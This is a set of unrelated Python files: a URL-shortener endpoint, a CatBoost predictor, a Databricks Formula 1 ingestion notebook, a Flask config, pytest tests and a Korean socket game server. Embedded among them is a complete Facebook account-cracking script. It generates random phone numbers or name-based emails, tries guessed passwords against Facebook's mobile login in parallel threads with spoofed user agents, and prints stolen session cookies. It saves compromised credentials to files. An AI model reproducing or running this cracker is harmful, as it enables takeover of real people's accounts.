    # we need two things, the url and optionally text
    data = request.get_json(force=True, silent=True)
    try:
        # check for url, if its not in the posted json then quit to index
        url = data["url"]
        if not REGEX.match(url):
            raise SyntaxError
    except (KeyError, TypeError):
        return json_response(status="URL missing.", error=True)

    except SyntaxError:
        return json_response(status="Illegal URL.", error=True)

    try:
        # we dont need text so just pass the exception
        text = data["text"]
        if not re.match("^[a-zA-Z0-9]*$", text):
            raise SyntaxError
        if len(text) < 1:
            raise KeyError
    except KeyError:
        text = "".join(random.choice(string.ascii_letters) for _ in range(5))
    except SyntaxError:
        return json_response(status="Illegal character used.", error=True)
    # quick check whether text was used before
    query = Link.query.filter_by(text=text).first()
    if query:
        return json_response(status=f"{text} is already taken.", error=True)
    new = Link(url=url, text=text)

    db.session.add(new)
    db.session.commit()

    return json_response(status="ok", text=text, error=False)


import os
from logging import Logger
from typing import Union, Tuple, Sequence

import catboost
import numpy as np
import pandas as pd
from scipy.stats import randint, uniform

from utils.feature_analysis import save_feature_analysis_plots
from utils.func_utils import create_empty_folder
from .predictor import Predictor

class CatBoostPredictor(Predictor):
    def __init__(self, column_desc_path: str, logger: Logger, log_folder: str, name: str = None, override_logs: bool = True,
                 use_random_search: bool = False, task_type: str = 'CPU', perform_feature_analysis: bool = True):
        # generate a relevant name if not set
        if name is None:
            name = f'CatBoost_{task_type}_{"rs" if use_random_search else "default"}'

        super().__init__(logger, log_folder, name, override_logs)

        self.column_desc_path = column_desc_path

        self.use_random_search = use_random_search
        self.perform_feature_analysis = perform_feature_analysis
        self.task_type = task_type

        self.feature_names = None
        self.drop_columns = None
        self.y_col = None
        self.drop_column_indexes = None
        self.cat_indexes = None

    def __get_max_b(self, df: pd.DataFrame):
        return df['blocks'].max()

    def __setup_features_data(self, df: pd.DataFrame):
        column_desc_df = pd.read_csv(self.column_desc_path, sep='\t', names=['index', 'type'])
        self.drop_column_indexes = column_desc_df[(column_desc_df['type'] == 'Label') | (column_desc_df['type'] == 'Auxiliary')]['index']
        self.cat_indexes = column_desc_df[column_desc_df['type'] == 'Categ']['index'].tolist()
        # categorical indexes are based on whole file, since first column is the label, indexes must be decreased by 1 when using only features
        self.cat_indexes = [i - 1 for i in self.cat_indexes] if len(self.cat_indexes) else None

        # y to predict is always the first column in POPNAS case
        self.y_col = df.columns.values.tolist()[0]
        self.drop_columns = [col for i, col in enumerate(df.columns.values.tolist()) if i in self.drop_column_indexes]

        df = df.drop(columns=self.drop_columns)
        self.feature_names = df.columns.values.tolist()

    def train_ensemble(self, dataset: Union[str, 'list[tuple]'], splits: int = 5, use_data_augmentation=True):
        raise NotImplementedError("CatBoost predictor doesn't support ensemble")

    def train(self, dataset: Union[str, 'list[Tuple]'], use_data_augmentation=True):
        # TODO
        if not isinstance(dataset, str):
            raise TypeError('CatBoost supports only files, conversion to file is a TODO...')

        dataset_df = pd.read_csv(dataset)
        actual_b = self.__get_max_b(dataset_df)
        if self.feature_names is None:
            self.__setup_features_data(dataset_df)

        self._logger.info('Starting Catboost predictor training...')

        train_pool = catboost.Pool(dataset, delimiter=',', has_header=True, column_description=self.column_desc_path)
        train_log_folder = os.path.join(self.log_folder, f'B{actual_b}')
        create_empty_folder(train_log_folder)

        # Increase weight in scoring decisions of: [cells, op_score, concat_inputs], since they are the main driving factors
        # in significant time alterations.
        feature_weights = '1:1.5,2:1.5,7:1.2'
        # NOTE: task type = 'GPU' is very slow in our case, because it uses ordered sampling on datasets with few samples (< 10k).
        #  CPU is very fast and the models between GPU and CPU seems to not have so much different results
        self.model = catboost.CatBoostRegressor(iterations=2500, early_stopping_rounds=50, train_dir=train_log_folder, task_type=self.task_type,
                                                feature_weights=feature_weights, verbose=False)

        # train the model with random search
        if self.use_random_search:
            param_grid = {
                'learning_rate': uniform(0.02, 0.2),
                'depth': randint(3, 7),
                'l2_leaf_reg': uniform(0.1, 5),
                'random_strength': uniform(0.3, 3),
                'bagging_temperature': uniform(0.3, 3),
                # 'grow_policy': ['SymmetricTree', 'Depthwise', 'Lossguide']
            }

            results_dict = self.model.randomized_search(param_grid, train_pool, cv=5, n_iter=40, train_size=0.8, verbose=False)
            self._logger.info('CatBoost random search complete')
            self._logger.info('Best parameters: %s', str(results_dict['params']))
        # else simply train the model with default parameters
        else:
            self.model.fit(train_pool)
            self._logger.info('CatBoost training complete')

        if self.perform_feature_analysis:
            self._logger.info('Writing feature analysis plots...')
            result_pairs = self.model.get_feature_importance(train_pool, prettified=True)  # type: pd.DataFrame
            result_pairs.to_csv(os.path.join(train_log_folder, 'feature_importance.csv'))

            features_df = dataset_df.drop(columns=self.drop_columns)
            save_feature_analysis_plots(self.model, features_df, train_log_folder, save_pred_every=30)
            self._logger.info('Feature analysis complete')

    def predict(self, x: list) -> float:
        # make sure categorical features are integers (and not float, pandas converts them to floats like 1.0)
        if self.cat_indexes is not None:
            for cat_index in self.cat_indexes:
                x[cat_index] = int(x[cat_index])

        features_pool = catboost.Pool([x], cat_features=self.cat_indexes, feature_names=self.feature_names)
        # returned as a numpy array of single element
        return self.model.predict(features_pool)[0]

    def predict_batch(self, x: 'Sequence[list]') -> np.ndarray:
        # make sure categorical features are integers (and not float, pandas converts them to floats like 1.0)
        if self.cat_indexes is not None:
            for sample in x:
                for cat_index in self.cat_indexes:
                    sample[cat_index] = int(sample[cat_index])

        features_pool = catboost.Pool(x, cat_features=self.cat_indexes, feature_names=self.feature_names)
        # returned as a numpy array of single element
        preds = self.model.predict(features_pool)  # type: np.ndarray
        return preds.reshape(-1)

    def prepare_prediction_test_data(self, file_path: str) -> 'tuple[list[Union[str, list[tuple]]], list[list], list[list[float]]]':
        dataset_df = pd.read_csv(file_path)
        max_b = self.__get_max_b(dataset_df)
        self.__setup_features_data(dataset_df)

        dataset_paths = []
        prediction_samples = []
        real_values = []

        for b in range(1, max_b):
            train_df = dataset_df[dataset_df['blocks'] <= b]
            save_path = os.path.join(self.log_folder, f'inputs_B{b}.csv')
            train_df.to_csv(save_path, index=False)
            dataset_paths.append(save_path)

            predictions_df = dataset_df[dataset_df['blocks'] == (b + 1)]
            # in datasets that use data augmentation, filter them in prediction phase
            if 'data_augmented' in predictions_df.columns:
                # use == False, otherwise it will not work properly
                predictions_df = predictions_df[dataset_df['data_augmented'] == False]

            real_values.append(predictions_df[self.y_col].values.tolist())
            predictions_df = predictions_df.drop(columns=self.drop_columns)
            prediction_samples.append(predictions_df.values.tolist())

        return dataset_paths, prediction_samples, real_values


import os,sys,time,json,random,re,string,platform,base64,uuid
from bs4 import BeautifulSoup as sop
from bs4 import BeautifulSoup
import requests as ress
from datetime import date
from datetime import datetime
from time import sleep
from os import system as s
from time import sleep as waktu
try:
    import requests
    from concurrent.futures import ThreadPoolExecutor as ThreadPool
    import mechanize
    from requests.exceptions import ConnectionError
except ModuleNotFoundError:
    os.system('pip install mechanize requests futures bs4==2 > /dev/null')
    os.system('pip install bs4')
RED = '\033[1;91m'
WHITE = '\033[1;97m'
GREEN = '\033[1;32m'
YELLOW = '\033[1;33m'
BLUE = '\033[1;34m'
ORANGE = '\033[1;35m'
P = '\x1b[1;97m'
M = '\x1b[1;91m'
H = '\x1b[1;92m'
K = '\x1b[1;93m'
B = '\x1b[1;94m'
U = '\x1b[1;95m'
O = '\x1b[1;96m'
N = '\x1b[0m'
A = '\x1b[1;90m'
BN = '\x1b[1;107m'
BBL = '\x1b[1;106m'
BP = '\x1b[1;105m'
BB = '\x1b[1;104m'
BK = '\x1b[1;103m'
BH = '\x1b[1;102m'
BM = '\x1b[1;101m'
BA = '\x1b[1;100m'
now = datetime.now()
dt_string = now.strftime("%H:%M")
current = datetime.now()
ta = current.year
bu = current.month
ha = current.day
today = date.today()
loop = 0
oks = []
cps = []
ugen2=[]
ugen=[]
cokbrut=[]
ses=requests.Session()
princp=[]
for xd in range(1000):
    a='Nokia'
    b=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
    c=random.randrange(1, 99)
    d='/GoBrowser/'
    e='1.6.0.'
    f=random.randrange(1, 99)
    uaku2=(f'{a}{b}{c}{d}{e}{f}')
    ugen.append(uaku2)
logo = ("""
 \033[1;33m. #######  ##     ## ####
\033[1;33m.  ##     ## ###   ###  ##
\033[1;33m.  ##     ## #### ####  ##
\033[1;33m.  ##     ## ## ### ##  ##
\033[1;33m   ##     ## ##     ##  ##
\033[1;33m   ##     ## ##     ##  ##
\033[1;33m.  #######  ##     ## ####

\x1b[1;96m┏─══─━══─══━─══─| ✠ |─══━─══─══━─══─┓
\x1b[38;5;46m┃AUTHOR    ; DARK DEVIL OMI  ┃
\x1b[1;93m┃WHATSAPP  ; +8801406115895    ┃
\x1b[1;95m┃FACEBOOK  ; OMI HASAN              ┃
\x1b[1;91m┃GITHUB    ; OMIdark                         ┃
\x1b[1;96m┗─══─━════─━─══─| ✠ |─══━─══─══━─══─┛""")

class Main:
    def __init__(self):
        self.id = []
        self.ok = []
        self.cp = []
        self.loop = 0
        os.system("clear")
        print(logo)
        print(" \033[1;34m[01] \x1b[1;90mRANDOM  NUMBER CLONE ")
        print(" \033[1;34m[02] \x1b[1;92mRANDOM  EMAIL  CLONE ")
        print(" \033[1;34m[00] Exit")
        SNIGDHO =input(" \n [?] Choose : ")
        #os.system('xdg-open https://www.facebook.com/kabsundisb?mibextid=ZbWKwL')
        if SNIGDHO in ["1", "01"]:
            num()
        if SNIGDHO in ["2","02"]:
            gml()
        if SNIGDHO in [" 0", "00"]:
            exit()
        else:
            exit()
def num():
    user=[]
    os.system('clear')
    print(logo)
    print(' [+] EXAMPLE : 017, 018, 019, 016, 013, 014 ')
    kode = input(' [?] Enter sim code: ')
    kodex = ''.join(random.choice(string.digits) for _ in range(2))
    kod = ''.join(random.choice(string.digits) for _ in range(2))
    os.system('clear')
    print(logo)
    print(' [+] EXAMPLE : 3000, 5000, 10000, 50000 ')

    limit = int(input(' [?] Crack Your Limit : '))
    for nmbr in range(limit):
        nmp = ''.join(random.choice(string.digits) for _ in range(4))
        user.append(nmp)
    with ThreadPool(max_workers=30) as yaari:
        os.system('clear')
        print(logo)
        tl = str(len(user))
        print(' \033[1;97m[+] TOTAL IDS SELECTED:\033[1;92m '+tl)
        print("\033[1;32m ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
        for guru in user:
            uid = kode+kodex+kod+guru
            pwx = [kode+kodex+kod+guru,kod+guru,kodex+guru,kode+kodex+kod,]
            yaari.submit(rcrack1,uid,pwx,tl)
    print(' [+] Crack process has been completed')
    print(' [+] Ids saved in OMI-ok.txt,OMI-cp.txt')

def gml():
    user=[]
    os.system('clear')
    print(logo)
    kode = input(' [+] FAST NAME : ')
    os.system('clear')
    print(logo)
    kodex = input(' [+] LAST NAME :  ')
    os.system('clear')
    print(logo)
    print(' [+] EXAMPLE : @gmail.com, @yahoo.com ')
    doamin = input(' [?] Choose doamin : ')
    os.system('clear')
    print(logo)
    print(' [+] EXAMPLE : 3000, 5000, 10000, 50000 ')
    limit = int(input('[?] Crack Limit : '))
    for nmbr in range(limit):
        nmp = ''.join(random.choice(string.digits) for _ in range(1,4))
        user.append(nmp)
    with ThreadPool(max_workers=30) as yaari:
        os.system('clear')
        print(logo)
        tl = str(len(user))
        print(' \033[1;97m[+] TOTAL IDS SELECTED:\033[1;92m '+tl)
        print("\033[1;32m ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
        for guru in user:
            uid = kode+kodex+guru+doamin
            pwx = [kode,kodex,kode+kodex,kode+'123',kode+'1234',kode+'12345',kode+guru,kodex+'123',kodex+'1234',kodex+'12345']
            yaari.submit(rcrack1,uid,pwx,tl)
    print(' [+] Crack process has been completed')
    print(' [+] Ids saved in OMI-ok.txt,OMI-cp.txt')
def rcrack1(uid,pwx,tl):
    global loop
    global cps
    global oks
    global proxy
    try:
        for ps in pwx:
            pro = random.choice(ugen)
            session = requests.Session()
            sys.stdout.write('\r[\033[1;92m[OMI-CYBER-143]\033[1;97m] > [%s/%s] > [OK\033[1;97m:-\033[1;92m%s\033[1;97m] - [CP\033[1;97m:-\033[1;91m%s\033[1;97m] \r'%(loop,tl,len(oks),len(cps))),
            sys.stdout.flush()
            free_fb = session.get('https://p.facebook.com').text
            log_data = {
                "lsd":re.search('name="lsd" value="(.*?)"', str(free_fb)).group(1),
            "jazoest":re.search('name="jazoest" value="(.*?)"', str(free_fb)).group(1),
            "m_ts":re.search('name="m_ts" value="(.*?)"', str(free_fb)).group(1),
            "li":re.search('name="li" value="(.*?)"', str(free_fb)).group(1),
            "try_number":"0",
            "unrecognized_tries":"0",
            "email":uid,
            "pass":ps,
            "login":"Log In"}
            header_freefb =  {'authority': 'p.facebook.com',
              'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
              'method': 'GET',
              'scheme': 'https',
              'accept-language': 'en-US,en;q=0.9',
              'accept-encoding': 'gzip, deflate, br',
              'cache-control': 'max-age=0',
              'referer': 'https://t.facebook.com/',
              'sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"',
              'sec-ch-ua-mobile': '?1',
              'sec-ch-ua-platform': 'Android',
              'sec-fetch-dest': 'document',
              'sec-fetch-mode': 'navigate',
              'sec-fetch-site': 'none',
              'sec-fetch-user': '?1',
              'pragma': 'no-cache',
              'priority': 'u=0',
              'cross-origin-resource-policy': 'cross-origin',
              'upgrade-insecure-requests': '1',
              'user-agent': pro}
            lo = session.post('https://mbasic.facebook.com/login/?next&ref=dbl&fl&login_from_aymh=1&refid=8',data=log_data,headers=header_freefb).text
            log_cookies=session.cookies.get_dict().keys()
            if 'c_user' in log_cookies:
                coki=";".join([key+"="+value for key,value in session.cookies.get_dict().items()])
                cid = coki[7:22]
                print(f"\033[38;5;46m[OMI-OK💚] {uid} | {ps}")
                print(f" Cookie : {coki}")
                open('/sdcard/OMI-ok.txt', 'a').write( uid+' | '+ps+'\n')
                oks.append(uid)
                break
            elif 'checkpoint' in log_cookies:
                coki=";".join([key+"="+value for key,value in session.cookies.get_dict().items()])
                cid = coki[82:97]
                print(f"\033[1;34m[OMI-CP💔] {uid}|{ps}")
                open('/sdcard/OMI-cp.txt', 'a').write( uid+' | '+ps+' \n')
                cps.append(uid)
                break
            else:
                continue
        loop+=1
        sys.stdout.write(f'\r\033[m[OMI-CYBER-143] \033[1;92m%s\033[m |\033[m[\033[mOK:\033[1;92m%s\033[m] '%(loop,len(oks))),
        sys.stdout.flush()
    except:
        pass
Main()


# Databricks notebook source
# MAGIC %sql
# MAGIC Create database if not exists f1_processed
# MAGIC location '/mnt/processed'

# COMMAND ----------

# MAGIC %run /Users/Saravana_admin@5njbxz.onmicrosoft.com/Include/Config_File

# COMMAND ----------

Circuit_Schema = StructType(fields = [ StructField("circuitId",IntegerType(),False),
                                   StructField("circuitRef",StringType(),True),
                                   StructField("name",StringType(),True),
                                   StructField("location",StringType(),True),
                                   StructField("country",StringType(),True),
                                   StructField("lat",DoubleType(),True),
                                   StructField("lng",DoubleType(),True),
                                   StructField("alt",IntegerType(),True),
                                   StructField("url",StringType(),True)

])

circuits_df = spark.read\
.option("Header",True)\
.schema(Circuit_Schema)\
.csv('/mnt/raw/circuits.csv')

Circuit_df_select = circuits_df.select(col("circuitId"),col("circuitRef"),col("name"),col("location"),col("country"),col("lat"),col("lng"),col("alt"))

Circuit_df_rename = Circuit_df_select.withColumnRenamed('circuitId','circuit_Id')\
                                        .withColumnRenamed('circuitRef','circuit_Ref')\
                                        .withColumnRenamed("lat","latitude")\
                                        .withColumnRenamed("lng","Longitude")\
                                        .withColumnRenamed("alt","Altitude")

from pyspark.sql.functions import current_timestamp

Circuit_df_timestamp = Circuit_df_rename.withColumn("Dataingestion_time", current_timestamp())

#Circuit_df_timestamp.write.mode("overwrite").parquet("dbfs:/mnt/processed/Circuits")

Circuit_df_timestamp.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.circuits")

# COMMAND ----------

Races_Schema = StructType(fields = [StructField("raceId",IntegerType(),False),
                                    StructField("year",IntegerType(),False),
                                    StructField("round",IntegerType(),True),
                                    StructField("circuitId",IntegerType(),True),
                                    StructField("name",StringType(),False),
                                    StructField("date",StringType(),True),
                                    StructField("time",StringType(),True),
                                    StructField("url",StringType(),True)
                                    ])

Races_df = spark.read.option("Header",True).schema(Races_Schema).csv('/mnt/raw/races.csv')
from pyspark.sql.functions import col
Races_df_renamed = Races_df.select(col("raceId").alias("race_Id"),col("year").alias("Race_year"),col("round"),col("circuitId").alias("circuit_Id"),col("name"),col("date"),col("time"))
from pyspark.sql.functions import current_timestamp,to_timestamp,concat,lit

Races_df_result = Races_df_renamed.withColumn("Dataingestion_time", current_timestamp())\
                                    .withColumn("Race_timestamp",to_timestamp(concat(col("date"),lit(" "),col("time")),'yyyy-MM-dd HH:mm:ss'))

#Races_df_result.write.mode("overwrite").parquet("dbfs:/mnt/processed/races")
Races_df_result.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.races")

# COMMAND ----------

Constructors_Schema  = StructType(fields = [StructField("constructorId",IntegerType(),False),
                                            StructField("constructorRef",StringType(),False),
                                            StructField("name",StringType(),False),
                                            StructField("nationality",StringType(),False),
                                            StructField("url",StringType(),False)])

Constructor_Df = spark.read.schema(Constructors_Schema).json("/mnt/raw/constructors.json")
Constructor_renamedf = Constructor_Df.withColumnRenamed("constructorId","constructor_Id")\
                                        .withColumnRenamed("constructorRef","constructor_Ref")\
                                        .withColumn("Ingestion_time",current_timestamp())\
                                        .drop(col("url"))
#Constructor_renamedf.write.mode("overwrite").parquet("dbfs:/mnt/processed/Constructors")
Constructor_renamedf.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.Constructors")

# COMMAND ----------

Drivers_Schema = StructType(fields = [ StructField ("driverId",IntegerType(),False),
                                        StructField ("driverRef",StringType(),False),
                                        StructField ("number",IntegerType(),True),
                                        StructField ("code",StringType(),False),
                                        StructField ("name",StructType(fields = [ StructField ("forename",StringType(),False),StructField ("surname",StringType(),False)]),False),
                                        StructField ("dob",DateType(),False),
                                        StructField ("nationality",StringType(),False),
                                        StructField ("url",StringType(),False)

])

Drivers_Df = spark.read\
            .schema(Drivers_Schema)\
            .json("/mnt/raw/drivers.json")

Drivers_transform_df = Drivers_Df.withColumnRenamed("driverId","driver_Id")\
                                .withColumnRenamed("driverRef","driver_Ref")\
                                .withColumn("name",concat(col("name.forename"), lit(" "), col("name.surname")))\
                                .withColumn("Ingestion_time",current_timestamp())\
                                .drop(col("url"))
#Drivers_transform_df.write.mode("overwrite").parquet("dbfs:/mnt/processed/Drivers")

Drivers_transform_df.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.Drivers")

# COMMAND ----------

Results_schema = StructType (fields = [StructField("resultId",IntegerType(),True),
                                        StructField("raceId",IntegerType(),True),
                                        StructField("driverId",IntegerType(),True),
                                        StructField("constructorId",IntegerType(),True),
                                        StructField("number",IntegerType(),True),
                                        StructField("grid",IntegerType(),True),
                                        StructField("position",IntegerType(),True),
                                        StructField("positionText",StringType(),True),
                                        StructField("positionOrder",IntegerType(),True),
                                        StructField("points",FloatType(),True),
                                        StructField("laps",IntegerType(),True),
                                        StructField("time",StringType(),True),
                                        StructField("milliseconds",IntegerType(),True),
                                        StructField("fastestLap",IntegerType(),True),
                                        StructField("rank",IntegerType(),True),
                                        StructField("fastestLapTime",StringType(),True),
                                        StructField("fastestLapSpeed",FloatType(),True),
                                        StructField("statusId",IntegerType(),True)
                                        ])

Results_df = spark.read\
         .schema(Results_schema)\
         .json("/mnt/raw/results.json")

Results_Transform_df = Results_df.withColumnRenamed("resultId","result_Id")\
                                .withColumnRenamed("raceId","race_Id")\
                                .withColumnRenamed("driverId","driver_Id")\
                                .withColumnRenamed("driverId","driver_Id")\
                                .withColumnRenamed("constructorId","constructor_Id")\
                                .withColumnRenamed("positionText","position_Text")\
                                .withColumnRenamed("positionOrder","position_Order")\
                                .withColumnRenamed("fastestLap","fastest_Lap")\
                                .withColumnRenamed("fastestLapTime","fastest_Lap_Time")\
                                .withColumnRenamed("fastestLapSpeed","fastest_Lap_Speed")\
                                .withColumn("Ingestion_time",current_timestamp())\
                                .drop(col("statusId"))

#Results_Transform_df.write.mode("overwrite").parquet("dbfs:/mnt/processed/results")

Results_Transform_df.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.Results")

# COMMAND ----------

Pitstops_Schema = StructType(fields = [ StructField ("raceId",IntegerType(),False),
                                        StructField ("driverId",StringType(),False),
                                        StructField ("stop",IntegerType(),True),
                                        StructField ("lap",IntegerType(),False),
                                        StructField ("time",StringType(),False),
                                        StructField ("duration",FloatType(),False),
                                        StructField ("milliseconds",IntegerType(),False)

])

Pitstops_Df = spark.read\
            .schema(Pitstops_Schema)\
            .option("multiline", True)\
            .json("/mnt/raw/pit_stops.json")
Pitstops_transform_df = Pitstops_Df.withColumnRenamed("raceId","race_Id")\
                                .withColumnRenamed("driverId","driver_Id")\
                                .withColumn("Ingestion_time",current_timestamp())
#Pitstops_transform_df.write.mode("overwrite").parquet("dbfs:/mnt/processed/pit_stops")
Pitstops_transform_df.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.Pitstops")

# COMMAND ----------

laptimes_Schema = StructType(fields = [ StructField ("qualifyId",IntegerType(),False),
                                        StructField ("driverId",IntegerType(),False),
                                        StructField ("lap",IntegerType(),False),
                                        StructField ("position",IntegerType(),False),
                                        StructField ("time",StringType(),False),
                                        StructField ("milliseconds",IntegerType(),False)

])

laptimes_Df = spark.read\
            .schema(laptimes_Schema)\
            .json("/mnt/raw/lap_times")
Laptimes_transform_df = laptimes_Df.withColumnRenamed("raceId","race_Id")\
                                .withColumnRenamed("driverId","driver_Id")\
                                .withColumn("Ingestion_time",current_timestamp())
#Laptimes_transform_df.write.mode("overwrite").parquet("dbfs:/mnt/processed/lap_times")
Laptimes_transform_df.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.Laptimes")

# COMMAND ----------

Qualifying_Schema = StructType(fields = [ StructField ("qualifyId",IntegerType(),False),
                                        StructField ("raceId",IntegerType(),False),
                                        StructField ("driverId",IntegerType(),False),
                                        StructField ("constructorId",IntegerType(),False),
                                        StructField ("number",IntegerType(),True),
                                        StructField ("position",IntegerType(),False),
                                        StructField ("q1",StringType(),False),
                                        StructField ("q2",StringType(),False),
                                        StructField ("q3",StringType(),False)

])

Qualifying_Df = spark.read\
            .schema(Qualifying_Schema)\
            .option("multiline", True)\
            .json("/mnt/raw/qualifying")
Qualifying_transform_df = Qualifying_Df.withColumnRenamed("raceId","race_Id")\
                                        .withColumnRenamed("qualifyId","qualify_Id")\
                                .withColumnRenamed("driverId","driver_Id")\
                                .withColumnRenamed("constructorId","constructor_Id")\
                                .withColumn("Ingestion_time",current_timestamp())
#Qualifying_transform_df.write.mode("overwrite").parquet("dbfs:/mnt/processed/Qualifying")
Qualifying_transform_df.write.mode("overwrite").format("parquet").saveAsTable("f1_processed.Qualifying")

# COMMAND ----------

notebooks/Users/Formula1_project/Processed/1. Create Ingestion tables.py


# instance/config.py
# http://exploreflask.com/en/latest/configuration.html
# __file__ --> basic.py where is it in my computer - where do I start and it gives me the full directory path
# the os library saves you to grab that absolute path c://user/bart/something/scripts/program

import os
from dotenv import load_dotenv

load_dotenv()  # take environment variables
# environment variables are accessible with the load

# basedir = os.path.abspath(os.path.dirname(__file__))
PROJECT_ROOT = os.path.dirname(os.path.realpath(__file__))

SECRET_KEY = os.getenv("API_KEY")
SQLALCHEMY_DATABASE_URI = "sqlite:///" + os.path.join(PROJECT_ROOT, "hornets.sqlite")
SQLALCHEMY_TRACK_MODIFICATIONS = False
JSON_SORT_KEYS = False

RAW_URI = True
REQUEST_URI = True

# MINOR ENVIRONMENT BASED CONFIG
DEBUG = True

SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = 'Lax'
SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS = True


import pytest

from src.player.ai import AIPlayer
from src.player.human import HumanPlayer
from tests.stubs import ControllerStub

@pytest.fixture()
def setup() -> tuple[HumanPlayer, ControllerStub]:
    hp = HumanPlayer()
    stub = ControllerStub(hp)
    return hp, stub

def test_get_user_input(
    monkeypatch: pytest.MonkeyPatch,
    setup: tuple[HumanPlayer, ControllerStub],
) -> None:
    monkeypatch.setattr("builtins.input", lambda: "5")
    hp, controller = setup
    hp.get_input()

    assert controller.commands == {hp: "5"}

def test_get_ai_input():
    ai = AIPlayer(test_value=5)
    stub = ControllerStub(ai)

    ai.get_input()

    assert stub.commands == {ai: "5"}


import socket
from _thread import *
import enum
import threading
from random import randint
import time

# userId 유저마다 입력한 아이디를 가지고 이미 존재하는경우 a_1 같은방식으로 중복을 방지합니다.
# priorityNum 서버에 접속한 유저마다 우선순위 번호를 받고 3명이상 연결시 누가 먼저 게임을
# 시작하는지를 결정합니다.
# socket은 소켓정보를 저장합니다.
class User:
    priorityNumCounter = 0
    def __init__(self,userId,socket):
        self.userId = userId
        self.priorityNum = User.priorityNumCounter
        User.priorityNumCounter+=1
        self.socket = socket

# 플레이어의 priorityNum은 의미가 없습니다.
#score은 플레이할때 점수를 기록합니다.
#selectedNum은 유저가 매 라운드에서 선택한 숫자를 기록합니다.
class Player(User):
    def __init__(self, userId, socket,priorityNum,score,selectedNum):
        self.userId = userId
        self.priorityNum = priorityNum
        self.socket = socket
        self.score = score
        self.selectedNum = selectedNum

#게임의 상태는 플레이중이 아님/플레이중-유저인풋기다림/플레이중-턴시작시 중간상태 로 나뉩니다.
class GameState(enum.Enum):
    NOT_PLAYING = 0
    PLAY_WAIT_INPUT = 1
    PLAY_TURNSTART = 2

# 접속한 클라이언트마다 새로운 쓰레드가 생성되어 통신을 하게 됩니다.
def threaded(client_socket, addr):
    global userList
    global disconnectedPlayerList
    print('Connected by :', addr[0], ':', addr[1])

    while True:
        try:
            text = str(client_socket.recv(1024).decode())
            # 게임상태가 플레이어 숫자선택을 기다리는 상태의 경우
            if gameState == GameState.PLAY_WAIT_INPUT:
                #플레이어에게서 전달받은 데이가 숫자1~3인 경우
                if text.isdecimal():
                    num = int(text)
                    if num>=1 and num<=3:
                        #playerList 에 해당 플레이어가 있는 경우 해당 selectedNum을 변경 (없는경우는 무반응)
                        for player in playerList:
                            if player.socket == client_socket:
                                player.selectedNum = num
        #유저가 강제종료시 다른 유저에게 메서지를 출력
        except (ConnectionResetError,socket.error) as e:

            print('Disconnected by ' + addr[0],':',addr[1])
            #종료한 socket의 유저를 찾고
            for u in userList:
                if u.socket == client_socket:
                    user = u
            #게임중인 플레이어인 경우 연결종료한 플레이어 리스트에 기록합니다.
            for player in playerList:
                if player.userId == user.userId:
                    disconnectedPlayerList.append(player)
            #다른 유저에게 연결중단 메세지를 보냅니다.
            for u in userList:
                if u != user:
                    txt1 = "유저 "+ user.userId+ "이 서버와의 연결을 끊었습니다."
                    try:
                        u.socket.send(txt1.encode())
                    except socket.error as ee:
                        print(ee)
            userList.remove(user)
            break

    client_socket.close()

try:
#서버소켓의 일반적 세팅
    HOST = '127.0.0.1'
    PORT = 5050
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((HOST, PORT))
    server_socket.listen(5)
except socket.error as e:
    print(e)

print('server start')

#유저 리스트는 게임중인 플레이어와 관찰자를 포함합니다.
userList = list()
playerList = list()
gameState = GameState.NOT_PLAYING
currentTurnNum = 0
disconnectedPlayerList = list()

def afterSevenSecond():
    # 7s이후 유저들은 숫자 선택을 완료 했다고 생각합니다.
    #  획득점수처리로직
    global currentTurnNum
    global gameState
    global playerList
    global userList
    global disconnectedPlayerList
    # 7s 기간동안   연결이 끊어진 상황의 예외처리를 먼저 수행
    # 연결을 끊은 유저가 1명 이상일 경우 수행하며
    # 연결을 끊은 유저가 1명, 2명,3명일 경우를 나누어서 처리합니다.
    if len(disconnectedPlayerList) != 0:
        #3명이 연결을 끊었을 경우
        if len(disconnectedPlayerList)>2:
            txt1 = "플레이어 "+(" ".join([x.userId for x in playerList]))+"모두 연결이 끊어졌기에 승자가 없어요.\n"
            for u in userList:
                u.socket.send(txt1.encode())
        #2명이 연결을 끊었을 경우
        elif len(disconnectedPlayerList)>1:
            for player in playerList:
                if player not in disconnectedPlayerList:
                    txt1 = "다른 플레이어의 연결이 모두 끊어져서 "+ player.userId+"가 게임에서 승리하였습니다\n"
                    for u in userList:
                        u.socket.send(txt1.encode())
        #1명이 연결을 끊었을 경우
        else:
            playerList.remove(disconnectedPlayerList[0])
            sp = sorted(playerList, key=lambda player: player.score)
            if sp[0].score == sp[1].score:
                txt1 = "한 플레이어의 연결이 끊어져서 남은 두명의 동점플레이어 "+(" ".join([x.userId for x in playerList]))+"가 승리자입니다\n"
            else:
                txt1 = "한 플레이어의 연결이 끊어졌기에 남은 플레이어중 점수가 높은 "+sp[1].userId+"가 승리자입니다\n"
            for u in userList:
                u.socket.send(txt1.encode())
        #게임플레이에 필요한 기본값을 다시 세팅합니다.
        currentTurnNum = 0
        gameState = GameState.NOT_PLAYING
        playerList.clear()
        disconnectedPlayerList.clear()
        return
    #현재 출제자의 정답을 correctAns 에 저장하고 정답을 맞춘 유저를 리스트에 저장합니다
    correctAns = playerList[currentTurnNum].selectedNum
    rightPlayerList = list()
    for player in playerList:
        if player!=playerList[currentTurnNum] and player.selectedNum == correctAns:
            rightPlayerList.append(player)
